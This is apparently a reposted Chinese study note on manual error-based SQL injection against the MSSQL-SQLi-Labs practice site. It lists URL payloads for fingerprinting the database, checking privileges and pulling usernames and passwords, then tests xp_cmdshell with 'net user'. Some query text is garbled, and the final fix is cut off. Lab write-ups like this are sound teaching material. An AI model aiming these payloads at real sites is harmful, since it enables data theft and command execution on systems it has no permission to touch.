【SQL注⼊】之MSSQL注⼊
(本⽂仅为平时学习记录,若有错误请⼤佬指出,如果本⽂能帮到你那我也是很开⼼啦)
该笔记参考⽹络中的⽂章,本⽂仅为了学习交流,严禁⾮法使⽤
⼀、MSSQL⼿⼯注⼊
测试使⽤Windows Server 2008 R2 中使⽤IIS搭建的MSSQL-SQLi-Labs站点的第⼀关(该站点可在Github中到)
攻击者:Windows 10系统(宿主机)
靶机:Windows Server 2008 R2(虚拟机)
1.判断注⼊点:
IP:PORT/less-1.asp?id='
根据回显可知数据类型为字符型
IP:PORT/less-1.asp?id=1'--
正常执⾏
2.判断数据库类型
1select*from sysobjects
2 sysobjects:MSSQL数据库特有的数据表,系统对象表,保存当前数据库的对象
3select*from users where id=1and exists(select*from sysobjects)
4Exists():⼦语句查询,Exists⽅法返回⼀个布尔值,该布尔值指⽰在 Dictionary 对象中是否存在指定的key,如果存在,返回 true,否则返回 false
IP:PORT/less-1.asp?id=5' and exists(select * from sysobjects)--
正常执⾏,说明后台数据库是MSSQL
其他⽅法判断数据库:常⽤框架组合⽅法ASP+MSSQL、页⾯报错信息3.注⼊点权限的判断(根据页⾯显⽰效果)
1select is_srvrolemember('sysadmin'); 判断当前是否为sa
2select is_srvrolemember('db_owner'); 判断当前⽤户写⽂件、读⽂件的权限(db_owner)
3select is_srvrolemember('public'); 判断是否有public权限,可以爆破表
以上正确执⾏后返回值都为1
判断当前是否为sa
1 IP:PORT/less-1.asp?id=5' and exists(select is_srvrolemember('sysadmin'))--
2或IP:PORT/less-1.asp?id=5'and (select is_srvrolemember('sysadmin'))>0--
判断当前⽤户写⽂件、读⽂件的权限
IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('db_owner'))>0--
4.信息收集xp提交更改
查看当前数据库
1 select db_name(N) 表⽰当前数据库,其中的参数表⽰第N个数据库,从0开始
2 IP:PORT/less-1.asp?id=5' and (select db_name())>0--
3或IP:PORT/less-1.asp?id=5' and (convert(int,db_name()))>0--
4 convert转换,将db_name()的数据类型转换为int型
查看所有数据库
⽅法1:
IP:PORT/less-1.asp?id=5' and (convert(int,db_name(N)))>0--//变换N的值就可以爆出所有数据库的名称
⽅法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
2 Master系统数据库
3 SELECT top 1 Name FROM Master..SysDatabases 在系统数据库中能够查询所有的数据库
4where name not in ('master','aspcms') 表⽰查询的结果不在括号中的集合⾥
5 IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases)>0--
IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的数据就可以报错所有数据库
查看数据库版本
1select @@version
2 IP:PORT/less-1.asp?id=5' and (select @@version)>0--
3或IP:PORT/less-1.asp?id=5' and (select @@version)=1--
查看当前⽤户
1 user
2 IP:PORT/less-1.asp?id=5' and (user)>0--
这⾥的⽤户dbo就等于databaseown,即sa⽤户
5.当前数据库中的表
1select top 1 name from当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0
2select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0获取第⼀个表名
3 IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--
1select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents')
2 IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--
6.获取指定表中的字段名
1select top 1 COLUMN_NAME from test.lumns where TABLE_NAME='users'
2 IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.lumns where TABLE_NAME='users')>0--
1select top 1 COLUMN_NAME from test.lumns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username')
2 IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.lumns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--
7.获取字段数据
1select top 1 username from users
2 IP:PORT/less-1.asp?id=5' and (select top 1 username from users)>0--
IP:PORT/less-1.asp?id=5' and (select top 1 password from users)>0--
8.解密数据,登录后台
⼆、使⽤MSSQL的xp_cmdshell扩展
xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执⾏,并以⽂本⾏的形式返回所有输出1.判断当前MSSQL数据库有没有xp_cmdshell扩展,返回值为1,表⽰有扩展
select count(*) FROM master. dbo.sysobjects Where xtype ='X'AND name ='xp_cmdshell'
2.测试是否可执⾏系统命令
p_cmdshell 'net user'
2exec master.dbo.xp_cmdshell 'net user'
3 exec表⽰要执⾏系统命令
上图显⽰的错误解决⽅法:
执⾏以下语句
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论